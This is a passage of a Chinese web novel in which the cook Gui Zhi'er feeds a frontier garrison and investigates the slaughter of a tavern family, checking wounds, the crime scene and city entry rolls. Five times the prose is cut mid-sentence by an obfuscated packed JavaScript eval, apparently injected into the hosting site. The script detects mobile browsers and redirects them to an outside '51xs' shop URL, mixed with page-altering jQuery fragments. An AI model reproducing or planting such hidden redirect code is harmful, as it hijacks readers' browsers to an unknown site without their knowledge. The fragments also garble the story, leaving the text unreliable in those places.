“噗。”桂枝儿被热闹的氛围感染，亦是笑得眸光潋滟。 众军士回头，集体愣神。 女子鼻梁秀挺，眉似羽箭，颇有飒爽英姿。一袭红袍利落优雅，不知是何身份竟能在军中长驱直入。 “桂姑娘，你怎么来了！”栾霜柏惊喜地跳下练武场圆台。 众军士为他让出一条路来，压低了声音七嘴八舌。 “还跟少将军认识，难不成是……” “将军夫人？” “受知府大人所托，给你送粮草来了。”桂枝儿坦荡地迎上，前直言道，“在经略府没找到你，一猜你就是在军营和士兵们交流感情。” 栾霜柏闻言苦笑着摆手。 哪里是交流感情，分明是被不服气的下属车轮战。 偌大的北境，突然空降一名弱冠少年。 谁人能服？ 多轮比试下来，他还没养好的伤口又裂开了，可就算是忍着痛也不敢表现出任何异样。 “辛苦了。”桂枝儿轻巧地眨眨眼，“来都来了，要不给你们开个小灶？咱中午吃顿香的。” 栾霜柏大喜，上前两步就想握住桂枝儿的手，而后反应过来不合适，又赶紧放下了。 他泪眼汪汪：“姑娘，炊事营就交给你了。” 那碗喷香的卤肉拌饭一直在他脑海中挥之不去。 这幅场景落在围观军士眼中，又是一番议论。 “果真是夫人，你看小将军的表情多感动。我猜是大家闺秀不远千里从京城赶来……” 众人纷纷发挥了极大的想象力。 直到桂枝儿走进炊事营，才明白为何栾霜柏看见他像看见娘亲一样。 大白面，蒸馒头，几块肉，炒白菜。 “俺们凌河县驻军的伙食，量大管饱，虽然没什么花样，但是绝对顶饿！” 炊事伍长竖起了自己的大拇指。 这年头，普通百姓可能尚是一日两食，军中训练量大，三顿饭起码得供应上。 “实惠第一。”桂枝儿笑语盈盈。 她思索片刻，决定在面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712094|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食上做些文章，小笼包和锅烙，一个蒸一个煎，再合适不过了。 说是白面，其实也不是纯白面。 大梁生产力并不算高，粮食又全靠老天爷赏赐，亩产量低，只能将小麦与玉米、小米、高粱等掺合在一起。 剩余的肉量也不多，捉襟见肘。 “伍长，劳您还按照之前的饭量，稍微收着点做就成。”桂枝儿的策略是贵精不贵多。 她取出行李包裹，作为一个合格的庖厨，随身携带一些调料是基本操作。 “妥嘞。”伍长点点头，然后一拍脑袋，“对了，外面的冰缸里还冻了些低价收的羊肉，没人爱吃，你要是用得上，只管取。” 桂枝儿惊喜不已：“用得上，用得上。” 边疆野生的羊肉腥味很重，一般只有游牧民族能习惯它的味道。 桂枝儿自有妙招。 她首先观察到，冰缸里的羊肉呈鲜红色，纹路清晰，可见是新鲜的好肉。 “伍长，借我把切肉刀。” 桂枝儿手指灵活地将肥瘦肉分割开，紧接着，剔去肌肉间隙里带脂肪的筋膜。 一半剁馅，一半斩成块后，再用冷水下锅。 “小娘子，不用等水沸了，再放肉吗？”有军士好奇地插了一嘴。 桂枝儿摇摇头：“给羊肉焯水，适合用冷水，加热时间更长。” 她在锅中放了一个纱布料包，里面是碾碎的丁香、砂仁、豆蔻、紫苏等。 “倘若直接用热水，外层的肉收缩，里面的血水和腥味反而很难去除。”桂枝儿补充道。 同时，她添加的料包，还可使羊肉''具有独特风味。随着乳白色的泡沫浮出，她用勺子精准地撇出杂质。 军士见她和面剁馅两不误，更是大开眼界，伸长了脖子偷学。 “瞎看什么，抓紧把馒头上蒸锅！”炊事伍长当头就给了他一个爆栗。 刚才他听二屯的屯长说从四行的什长那里得到的消息，这小娘子很可能是少将军夫人，得放尊重。 桂枝儿并不知他人揣测，只专心在菜板上挥斥方遒。 白萝卜洗净切块儿，她略一抬手，盘中蔬菜便听话地滑进锅里，连水花都没溅起来。 接下来，她便处理胡萝卜，刀光闪烁，萝卜丝被码得整整齐齐，“唰唰”数刀，又被剁成碎末。 随后，她将花椒粒用开水沏开，过滤出花椒水倒入羊肉馅里。 “哇，这刀工……”几位伙头兵心生向往。 炊事营向来是新兵看不上的地方。 旁人舞刀弄枪好不威风，他们每天围着锅碗瓢盆打转，盘算着地窖囤积的白菜该怎么做。 今日方知，做饭也能这么行云流水，两个字——漂亮！ 白萝卜羊肉汤在锅里咕嘟咕嘟地炖着，桂枝儿开始做小笼包。 先用擀面杖把剂子擀成薄薄的面皮，添上馅，再一个一个褶子捏过去。 小巧玲珑，精致可爱。 此时，一个伙头兵出去扔清理后的烂菜叶子。 “怎么样，夫人会做饭吗？”有好事者，趁着训练间隙来探听消息。 将军夫人要亲自下厨犒劳军士的事儿已经传遍了。 大家私底下嘀嘀咕咕。 听说贵女都是十指不沾阳春水的，也不知是否就做个样子，最终监督炊事营干活儿。 “你们就等着抢吧！”伙头兵嘿嘿一笑，“会做，做的还是羊肉。” “啊？”好事者们大失所望。 这比不会做还糟糕。 又腥又膻的羊肉，多难吃啊！ 20. 香迷糊了 “开饭了！” 炊事营的伍长拿出铜锣，随意敲了两下，声音深沉响亮。桂枝儿有些好笑，明明是军营放饭，怎么跟村里养猪似的。 结果定睛一看，跑得最快的小猪，竟是少将军。 栾霜柏眼中闪烁着光，连步伐都变得轻盈有力，他先是跟桂枝儿反馈：“姑娘，押运的粮草已经入库了，代我感谢知府大人。” 桂枝儿点头，长舒一口气。 此时，放饭口已经排起了长队。 由什长带领副手取餐，每一行军士除了定额的伙食之外，还配一大碗白萝卜羊肉汤、半屉小笼包和锅烙。 “羊肉馅的我可接受不了，上次炊事营做的羊肉面，一股子怪味。” “嘿，做梦呢，就这点分量，都未必能分到咱们。” 军士们眼巴巴地看着自家什长，提着饭桶大踏步回来。 加餐虽然没什么指望，但是训练了一上午，饥肠辘辘，哪怕啃点大馒头都是美滋滋的。 四行什长略一观察，发现这羊肉汤汁浓稠，色泽诱人，其中的萝卜块块饱满，洁白晶莹，顿时有些心动。 他用力吸一口气，炖萝卜的香味扑鼻而来。 “啧啧啧。”他浅尝一口，抿着嘴不说话。 “怎么样啊老大，有腥味吗？” “好不好喝啊？” 四行什长皱着眉摇了摇头，他沉吟片刻，商量道：“我怕军士们未必爱吃，要不就都留给我？” 懂了，难吃，怕军士们不给面子，拂了将军夫人的兴致。 偏有那不长眼色的伍长，也给自己盛了一小碗。 羊肉粒粒饱满，萝卜炖得软糯可口，他一尝，眼神瞬间就亮了。 “香！”伍长狼吞虎咽，“太香了！” “真的吗，给我来一点。”人群顿时炸了锅，各个如同馋狼般垂涎欲滴。 唯有四行什长恨铁不成钢地拍了拍手。 独吞计划泡汤，下午训练，定让他们多跑五公里。 有军士小心翼翼地夹起一只小笼包，在边缘咬上一口，外皮瞬间裂开，流淌出浓郁的汤汁。 胡萝卜解腻的清爽和肉馅的鲜嫩相交织，令人陶醉。 另有军士瞄准了看起来更加酥脆的锅烙。 “这是……炸的饺子吗？我怎么从未见过。” 锅烙与饺子形状相似。 桂枝儿在制作时先用大火加热，等待底部煎至微微金黄后，再加入少许水，转用小火煎熟。 咬上一口，用花椒水腌制过的肉馅不仅没有腥气，还能感受到一种特有风味。 更神奇的是边缘连接处的薄脆皮，香酥可口。 “桂小娘子，你真厉害！要不要来我们凌河县，开个卤味店的分店？” 栾霜柏没扎在人堆里，而是心满意足地享用着桂枝儿给他单独留的餐食。 一口一个小笼包，他吃得迅速又不失优雅。 少年已经过了雨后春笋般，身高猛窜的年龄，但比起军营里铁皮黑塔似的老兵，还是略显瘦弱。 “喜欢你就多吃点。”桂枝儿已经用过餐了，她的心思并不在栾霜柏身上。 她正努力跟脑中的系统碎碎念。 ——这些也是普通军士，我做了他们平时吃不惯的肉、没见过的菜，大家反馈良好，您看这任务进度…… 系统依旧是毫无回音。 若不是上次有小兵丁勇的刺激，桂枝儿甚至怀疑系统彻底坏掉了。 桂枝儿心中有些许失望。 恰在此时，几位身着制衣的县衙仆从，在军士的监视下，一路小跑过来。 “桂小娘子，可找到您了！”其中一人正是昨晚陪同过骆县令的下手，他焦头烂额地行了个礼。 “那重案死者家幸存的外嫁女，又在县衙门口闹事了，您快帮帮我们大人吧。” “什么死者？”栾霜柏猛然扭头，看向桂枝儿，面露担忧。 听起来来者不善，他生怕桂枝儿被无端牵连。 桂枝儿无奈地叹了口气，没想到这草包骆县令，还真把她当救命稻草了。 “少将军容禀。”下手汇报起来口齿清晰，“就在离咱们军营不远处的鲁家小酒馆，一户共六口人，前几日深夜发生了灭门惨案。” 栾霜柏惊讶地抬了抬眉。 军中除特殊情况外禁酒，但在休沐日，有三两军士便会去这家酒馆点一壶酒，叫上几盘花生米或毛豆，消磨时间。 他敏锐地觉得有些不对劲。 “我和你一起去。”栾霜柏一口气咽下了剩的半碗羊肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712095|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤。 而后麻利地起身，向副将简单交代下午训练事宜。 斩马腿靠一个短平快，军营武械库里的长板斧、片刀、狼牙棒如今都派上了用场。 眼见桂枝儿要走，刚领完罚挨了板子的屯长，莽撞地问道：“小将军夫人，您明日还来吗？” 将军夫人？ 桂枝儿被这个不知从哪冒出来的称呼惊到嘴唇分开，张口轻微吸气。 “胡说什么！”栾霜柏一声厉喝，他耳尖通红，手足无措。 虽说大梁风气开放，不讲究什么男女大防和所谓清誉，但、但桂姑娘毕竟是有夫家的人…… 哎，怎么就成亲了呢。 栾霜柏停住胡思乱想，驱散了围观起哄的军士们。 “我、我可没这么说过。”栾霜柏面对桂枝儿不敢抬头，像犯了错被罚站的稚童。 桂枝微微一笑，吃瓜八卦是人之常情，她倒不觉得被冒犯。 这下反而换成栾霜柏独自尴尬了。 桂枝儿离去，众军士恋恋不舍。 “不来也好。”唯有炊事营伍长心痛地捂着胸口，碎碎念道，“夫人做饭好吃是好吃，可是费油啊！” 真是不当家不知柴米贵。 一行人直奔县衙，今日天晴，雪在阳光下逐渐融化为柔顺的水流，润物无声。 可县城的路面并不平整，雪化了，凹凸不平的坑里陷满了黑泥，愈发脏乱。 北境，也露出了冰雪世界以外，又穷又破的本质。 “我们鲁家，祖祖辈辈都是本分人！卖个酒，得罪谁了？”离得不远，便听见一阵女人哭泣呐喊的声音。 高亢刺耳，仿佛要将心中的痛苦全部释放。 “当官不为民做主，人死了，抓不到凶手，还不让下葬，丧尽天良！” 女人先是低声抽泣，而后失声痛哭。 犀利的指责像一把锐利的刀子，叩击周围人的心弦，围观百姓也偶有帮腔。 “县令大人，您倒是开门说句话呀。” 引路的仆从却不在意，只冷哼一声：“穷乡僻壤出刁民。” 他是跟着骆老爷从江南过来的班底，面对镇北彪悍的民风，既无能为力又不敢得罪。 “咱们从后门进县衙，几位请跟我来。” 21. 凶犯线索 再次见到骆嵩延，县令大人坐立难安，乌纱帽上的翅膀也跟着来回颤动。 “桂小娘子，你千万得帮帮我。”他急得如同热锅上的蚂蚁，三步并作两步迎上来。 再看到一旁不请自来的栾霜柏，更是大喜过望。 骆县令顾不上自己一贯以来的风度翩翩，愁得连胡须都揪断了几根。 “本官现如今一点头绪都没有，遇难者的尸体还在暗室停放着，没结案也不敢让人贸然领走。” 死者不能入土为安，怪不得门口有人闹事。 好在这是冬日，若是夏季，遗体保存不好岂不腐烂发臭。 “大人，既如此，我们方便去暗室一观吗？”栾霜柏也没什么断案经验，但死人还是见过的。 或许有些遗漏的线索，就在被忽略的尸体身上。 “方便，方便。”骆县令本人却没有动身的意思，只唤典狱和仵作陪同前往。 接到报案当日，他见过一次尸体，那惨烈的场景把他吓得惊惧整夜，难以入眠。 暗室在地下，青砖结构保持着室内较低的温度。 一阵诡异的阴风袭来，桂枝儿不自觉打了个寒颤。栾霜柏眼疾手快，在第一时间捂住了她的眼睛。 他的手掌心温热，少女的睫毛轻柔地眨了眨。 “不要紧的小将军。”桂枝儿没领会他的好意。 “怕姑娘被吓到。”栾霜柏放下手，小声嘟囔了一句，“死人总归不太好看。” 他接过仵作递来的抵御尸臭的布条，为桂枝儿蒙住口鼻并系好。 布条是由捣碎的蒜、姜混着醋揉搓出来的，味道虽不好闻，但能抵御尸臭和疫病。 “多谢。”桂枝儿冲栾霜柏笑了笑。 她挑选了镊子和钩子作为工具，向尸体走去。 六具尸体均肤色苍白、血肉模糊。 伤口很乱，似乎是用菜刀反复砍切的，已经分不出哪里才是第一致命伤了。 其中有男性四十多岁，身体健壮。 仵作补充道：“当日验得此人满面血污，头身分离，手腕处有挣扎痕迹，确认系被砍身亡。” 栾霜柏刚吃饱饭，此时只能强忍着恶心，上前仔细观察。 桂枝儿的表情则更加淡定从容。 莫说普通死尸，就是被打爆脑浆的丧尸，断爪喷出粘液的星际虫族她也见过。 “下手这么狠辣，倒像是和死者全家结过仇。”栾霜柏眉头紧皱，“这方面是否探查过？” 一旁恭候的典狱拱手作答：“回禀大人，鲁家平日里与人为善，街坊邻居无有不满。时而有人在小酒馆赊账，也从不催得太紧。” “那么，鲁家酒馆收入几何，可有财物被盗迹象？”桂枝儿用镊子仔细地拨开头发。 “不过是小本买卖。”典狱摇摇头。 这就奇了。 不寻仇、不窃财，总不能是随机杀人吧？ 处理后的尸体头身已经拼合，桂枝儿盯紧咽喉处的伤痕，用镊子小心观察深浅。 菜刀切入的伤口较钝，而这道划痕锐利、细薄。 与此同时，栾霜柏也在另一具尸体的心脏处，发现了类似的刀痕。 两人对视一眼，不约而同道：“这刀伤……” 抽丝剥缕来看，竟与游牧民族惯用的弯刀造成的伤痕十分相似。 栾霜柏胸有成竹：“想来菜刀只是用以掩盖，真正的致命伤在这里。” 桂枝儿用手指轻轻抚摸下巴，不自觉地皱起眉头。 如果县城里真混进了外来者，那可就复杂了。 “小将军，我们再去案发现场看看如何？”桂枝儿提议道。 栾霜柏点头认可。 大雪初霁的下午，天空呈现出一种明净的澄澈，朵朵白云轻盈漂浮，若不看泥泞的地面，当真一派薄雾缭绕的美景。 鲁家小酒馆的格局，和旁处并无不同。 往往在日薄西山之后，结束整日劳作的客人花上几个铜板，就能喝上一壶清酒。 倘肯多花些钱，还能再添两道小菜。 因着店面离边防北境第一军的军营并不远，休沐的军士也愿意捧场，小店总能经营下去。 “这血脚印怎的遍地都是？”桂枝儿看着面前干涸的深色血迹，有些头疼。 陪同的巡捕头子尴尬地搓了搓手。 “回小娘子，原是有个酒蒙子过来讨酒喝，看到尸体吓得大声嚷嚷，周边百姓也没有保护现场的意识……” “他是怎么进酒馆的？” 栾霜柏与桂枝儿敏锐地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712096|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住了关键，齐声发问。 两刻钟后，案发现场第一报案人被传唤前来。 男子穿着棕色的麻布短打，裤腰部分用麻绳系紧，踢着一双草鞋，走路歪歪斜斜。 他的手里还抓着一个小瓶，飘出劣质酒的香味。 今朝有酒今朝醉。 李三是鲁家小酒馆的常客了，春种秋收都在乡下劳碌，唯有冬日农闲，每每在县城里打零工赚了几个铜板，他就要来灌上一壶酒。 “那天中午，我酒瘾实在是难捱，敲门又没人应声。可用手一推，这酒馆的门是虚掩的，我就直接进去了。” 李三伸手，还原了他推门而入的动作。 男子面相老实，且已经被巡捕反复问询几回了，并不似说假话。 “酒馆的门窗都没有被破坏的迹象，不排除是熟人作案。” 桂枝儿沉思片刻，突然想起骆县令在向刘善渊汇报案情时曾提过一口荒井。 “能带我们去发现凶手衣物的荒井看看吗？” 在巡捕的带领下，一行人穿过七扭八歪的荒草丛。 只见一个井口被''干枯的藤萝遮掩，还有薄薄的积雪，若不是地毯式搜寻，几乎不会有人注意。 古井并不深，能一眼望到底。 “就是在这儿，发现了两套沾血衣物。”巡捕头子说道，“怀疑是凶手逃窜时为了防止被人发现，藏匿于此。” 做捕快的心细如发，单凭衣物也能看出不少线索。 比如凶手应是两名男子，身量不到七尺，一个魁梧，一个羸弱。 但难就难在，除此之外，又推理不出什么了。 “这样啊……那蹲守时，也没有看到可疑人员吗？”桂枝儿好奇地追问道。 此言一出，巡捕头子有些呆愣。 “什么蹲守？”他没太听明白，“回小娘子，这些物证俱已在衙门档案室存放妥当了。” 不会吧。 桂枝儿苦笑着扶额，多好的守株待兔机会啊！ 到底只是个偏远小县城，一年也发生不了几起重大恶劣案件，做事不够专业。 若是隐瞒消息，再派人埋伏在古井周边，难保凶手不会偷偷回来处理自己留下的痕迹。 现下却是八月十五种豆子，晚了三秋。 22. 耳鬓厮磨 千头万绪一根针。 纷繁交织的线索，只有经过逐一梳理，方可化繁为简。 桂枝儿胸有成竹地看向栾霜柏，眨眨眼道：“只需跟栾小将军借一样东西。” “什么？”栾霜柏回答得很干脆。 他身无长物，借钱没有，若借马……别人不行，面对桂小娘子还是可以犹豫一下的。 然而都不是。 桂枝儿将他扯到一旁，附在耳边低声道：“我想借阅一下你们军部统计的入城花名册。” 随着耳畔传来湿热的气流，栾霜柏耳根腾的一下就红透了。 桂枝儿的声音一贯清脆悦耳，压低了之后，吹得他发丝微动。 耳鬓厮磨，总有些缱绻的意味。 “这、这有何用？”心思一乱，讲话就变得结结巴巴。 栾霜柏克制不住想，她真是个好看姑娘，眉眼清秀，细瘦的脖颈凑近，一副不屈不挠的模样。 即使他知道桂枝儿只是为了避人耳目，但依旧侧过俊俏的脸庞，并不敢正眼看人。 桂枝儿闻言，拉着他避开县衙的跟班，娓娓道来。 “适才咱们根据尸体刀伤，确实怀疑凶案是达奴人所为。” “但这口井的位置又很隐蔽，若非有本地人带路，很难被发现。” 桂枝儿咬了咬唇，断言道：“我怀疑，是有内贼引狼入室。” 女子不经意间的动作，露出白晃晃贝壳般的牙齿，显得生机勃勃。 带着一股笃定和小小的骄傲。 他打心底欣赏，却并不认同她的推断。 “姑娘也曾见过达奴人，他们颧骨突出、卷发、留辫子……任何一个守城士兵都能发觉不对劲。” 非我族类，严禁入境。 大梁并不与外域通商。 自永靖元年天子扫清寰宇，荡静中原，建都杭京以来，面对泱泱大国，四海皆臣服。 然而如今，北方达奴侵扰，南方倭寇抢掠，唯有闭关方可维护地域稳定。 凌河县作为军事重镇，地形易守难攻。 唯一的出入口由军部把持，查路引、查户籍、查携带货物马匹，戒备不可谓不森严。 “灯下黑，漏洞往往就在眼皮子底下。” 桂枝儿拍拍栾霜柏的肩膀，狡黠一笑：“我可没有指责军部办事不力的意思，只是检查总归容易有疏忽。” “好。”栾霜柏笑着叹了口气，半是无奈半是妥协。 旁的不说，单有知府大人赐的绿头牌子，就够她名正言顺查案了。 冬天日照短，回到客栈时，天色已晚。 桂枝儿仗着自己空间里还有吃食，便只要了一碗杂碎汤和两个面饼。 不料片刻后，店小二好似生怕她吃不饱，又敲门而入。 一盅鸡蛋羹，鲜嫩微黄，上面点缀着些许葱花。 一碟肉段，喷香扑鼻。 “客官，这是给您添的赠菜。”店小二将白毛巾搭在肩头，点头哈腰十分热情。 “多谢。”桂枝儿欣然打赏。 五个铜板的小费，让店小二的笑容更加真挚。 只是桂枝儿心底的疑虑更大。 如此一家服务周到、环境优雅的客栈，人气却并不旺。 赠菜比点的餐都贵，靠什么营生？ 电光火石之间，她想起刘善渊第一次走进桂记卤味店，喝着添加了虫草和枸杞的素烩汤，问道—— “店家这么舍得下本钱，当真能维持经营吗？” 桂枝儿怔住，怪不得知府大人对物价成本这么敏感。 原来他安排的客栈，也有秘密。 不过些许小事，她留了个心眼，却并不惧怕。 秘密再多又如何，各人自扫门前雪，莫管他人瓦上霜。 烛火摇曳，桂枝儿沉入梦乡。 翌日再去经略府，靠着绿头牌子和少将军手令畅行无阻。 入城花名册也非机密，仅有两名小兵列在桂枝儿身后，代为监察。 “从腊月初五，至案发日腊月初九之间的名录，劳烦军士帮我取一下。”她目标明确。 农闲时节，进县城的往往是周边来讨活计的农户。 加之年关将近，亦有走亲访友者。 多数还带几只新鲜的鸡鸭鹅，关在草笼里扑棱着翅膀，一览无余。 桂枝儿翻动墨迹新鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712097|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纸簿，最终将目光落在其中两行。 她凝眸沉思，眉头渐渐皱了起来。 腊月初七，张大山，男，凌河县户籍。 记录在册事由为娶妻，有乐队仪仗、轿夫，以及新妇入门。 腊月初八，沙井田，男，龙沙镇户籍。 事由是下葬，他刚从龙沙镇接回了寡母的棺椁，需入土为安。 两相对比，后者更为可疑。 桂枝儿唤来当值小兵问道：“这位沙大哥，他的母亲既已嫁到龙沙镇，为何要在凌河安葬？” “哦，您说沙皮狗啊，他就是个帮闲的破落户。”小兵领队啧了一声。 撇着嘴满脸不屑。 简单来说，沙母娘家在凌河县原本也算家境殷实。 家中仅有一个独女，本想招赘。 可惜大小姐恋爱脑，非要跟偏远地区的穷小子私奔。 婚后才知道，没有物质的爱情不仅是一盘散沙，还有拳打脚踢。 于是，沙母的遗愿便是葬回祖坟。 “也是个可怜人。”桂枝儿点点头，再将注意力移回嫌疑人张大山。 “赶在年前办喜事，总归有些仓促。”她好奇地问道，“不知新娘子漂亮吗？” “哎呦您说笑了，新妇避人，我们也不好盯着看啊。”小兵领队一拍大腿。 只掀开轿帘扫一眼，确认没有额外藏人就是了。 罩红头是绸缎的，四角还坠了铜钱，将脸挡得严严实实。 顶多能瞅见新娘子的绣花鞋一晃一晃的，婀娜多姿。 大喜的日子，新郎官张大山并不吝啬糖果，还给守城士兵包了几个铜板的红封。 大家道几句“恭喜”，其乐融融。 桂枝儿挑了挑眉。 昨日探查时，据捕头描述，井中丢弃的两套血衣，身量不到七尺，其一羸弱。 身材纤瘦，既有可能是女子，也不排除男扮女装。 桂枝儿翻开黄历，往前一天是腊月初六，写着宜合婚订婚、安床纳畜。 向后看一天，腊月初八，宜结亲会友、动土祈福。 怎么不露面目的新娘子偏偏要选在初七进门呢？ 23. 张家绸缎 凌河县城不比中心府城繁华。 但在其最热闹的一条街上，亦是店铺林立。 各种招幌在风中摆动，骡拉的车和轿子交错而过，粘上的泥土又被带到石板路，留下道道黑印。 “卖茶糕喽——烤红薯。” 这是挑贩在吆喝，扁担两头挂着东西，肩膀一颠便能走街串巷。 “素心蜡梅、金钟梅——随便挑拣嘞！” 卖花女郎娇声娇气，扑闪着大眼睛，语调软糯糯的。 但桂枝儿看了也只一笑而过。 素心蜡梅的花瓣是纯黄色，花芯莹白，乃较为名贵的品种。金钟梅则是开口向下，似“金钟吊挂”。 卖花女郎手里，不过是梅山山麓随意采摘的花罢了。 卖花女郎停在一间绸缎铺面前。 她娇俏地冲店内喊了一嗓子：“新娘子，买花不嘞？” 那铺子是两层楼格局，楼檐下挂着描绘店名的木质长牌子，牌子下头还垂着一缕彩锻布条儿。 楼上则是宽大的绿油栏杆，廊上挂着几件成衣样品。 正是张家绸缎铺。 “几个钱一株啊？”一个温温婉婉的女声应答道。 卖花女郎见有生意，兴致高昂地进了店，片刻后，手中的腊梅少了一半，又满意离去。 桂枝儿瞅准时机，踏入了店铺。 迎面是一个年岁不大的姑娘，一张鹅蛋脸，双眉细而长，同时兼具时下推崇的樱桃小口。 想来这就是张家新入门的媳妇了。 她正将腊梅逐一插入瓶中，伸出纤指摆弄，恰似一朵淡雅的出水芙蓉。 “老板，我想在年底前赶制一件棉袄。”桂枝儿打招呼。 “客官您坐，我拿花样给您挑一挑。”新娘子明显还不甚熟悉流程，取了皮尺又想起来问，“您是要量体现裁，还是用成衣改呢？” “现裁要几日？”桂枝儿问道。 “制式不繁杂的套装至多要五日。”真正的老板张大山掀开帘子，从裁缝间走了出来。 新娘子的脸庞一瞬间染上红晕，害羞地将主场让给了自己的丈夫。 两人看起来新婚尔燕，不似作假。 “要一件大襟窄袖的棉袄，颜色就定这个纯素浅蓝的吧。”桂枝儿一眼就相中了面料丝滑的绸子。 她上手捏了捏柔韧度，补充问道：“内里夹层有什么填法？” “咱家铺子填的都是蚕丝质地的绵絮，这种充绒既轻薄又保暖。”张大山竖起了大拇指，“不是我自夸，绝对是县里第一等的。” “那就再搭一件银灰的披风，要带毛领的。”桂枝儿笑道，“老板算个价吧。” “好嘞，您稍等。”接了笔大单，夫妻两人都很高兴。 年前家家户户裁新衣，正是做生意的好时候。 量尺寸就由新娘子操作，张大山在一旁指挥。 桂枝儿趁机搭话：“适才听卖花女郎喊新娘子，你们这是……” “头初七才办的礼。”张大山美滋滋地回答，笑得双眼眯成一条缝，嘴角大幅度上扬。 新娘子嗔怪地看了他一眼，羞涩不已。 “喜结良缘，二位百年好合。”桂枝儿看在眼里，被撒了一波糖，周边氛围都甜蜜了。 不过她也没忘正事，继续问道：“我从中心府城来，咱街坊四邻，初六初八也有办喜事的，都说是算的吉日。” “我们生意人也算的。” 张大山点了点头：“避开生肖年岁冲煞，初七的卦运恰好纳财，迎娶个财神娘子！” “莫听他胡说。”新娘子被逗笑了。 “原来还有这讲究，招财进宝。”桂枝儿哭笑不得。 虽然没有完全洗脱嫌疑，但眼下看，张大山一家幸福美满，铺子也红火，当真没有铤而走险犯案的动机。 桂枝儿付了定金，转头就去校场找栾霜柏借马。 “咴儿咴儿。”白驹雪影不满地扬了扬蹄子，甩了个大喷嚏，想摆脱桂枝儿。 “雪影听话，喂你吃仙灵草。”桂枝儿拍了拍马儿的鬃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712098|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛，用老套路贿赂它。 “你一个人上路，能行吗？”栾霜柏刚训练完，胸脯喘着粗气，肌肉更加紧实。 他抬手抹了一把额头上的汗珠，离得远远的。 怕万一有汗味，桂姑娘会不喜欢。 “怎么可能是一个人。”桂枝儿向身后努了努嘴，“喏，知府大人派的跟班还在监视呢。” 身着驼色棉袍的侍从，不远不近地跟着。 若不注意，还发现不了。 “小将军夫人，你还请咱吃好吃的吗？”四行什长眼睛尖，冒着挨揍的风险远远喊了一嗓子。 “哈哈哈等我回来。”桂枝儿利落地翻身上马，“谁比武好就请谁。” “嗷嗷嗷。”偷偷围观的众人一哄而散，自觉去加练了。 “哎，我真没这么说过。”栾霜柏看着马蹄扬起的尘土，解释的话转为喃喃自语。 桂枝儿携带绿头牌子出城，取道西北。 白驹从最初的不情愿变成撒开蹄子狂奔，可见在校场憋狠了，没有放纵的机会。 “咴儿咴儿。”它欢快得就差打滚了。 此行目的地是龙沙镇，据说那里的沙漠呈金黄色，白天高温可如蒸笼，夜晚又冷如冰窖。 是一个并不适宜人类生存的地方。 也是嫌疑人沙井田的故乡。 桂枝儿的行进速度很快，她并不用马缰刻意拴着白驹，即使屁股已经被颠得酸麻。 “快跑两步，争取今晚能到十二堡借宿。” 桂枝儿畅快地吹着冷风。 再回头，驼色棉袍侍从早就被她甩掉，不见踪影。 “向主上汇报，桂小娘子借了栾将军的马出城，卑职无能，没跟住。” 春和景明客栈，收到指令的店小二写好纸条，走向后院。 少顷，一只白色羽鸽振翅高飞。 它的腿部绑了一根不起眼的信管，翅膀在空中划过一道优美的弧线。 “这下糟了，也不知道桂小娘子去哪儿，还回不回来。” 24. 连棺火葬 桂枝儿不知晓中个弯弯绕绕。 她快马直奔十二堡，入夜歇息再急速赶路，到达龙沙镇时已是第三日。 黄沙漫漫，炽烈的阳光如火一般烧灼着大地。 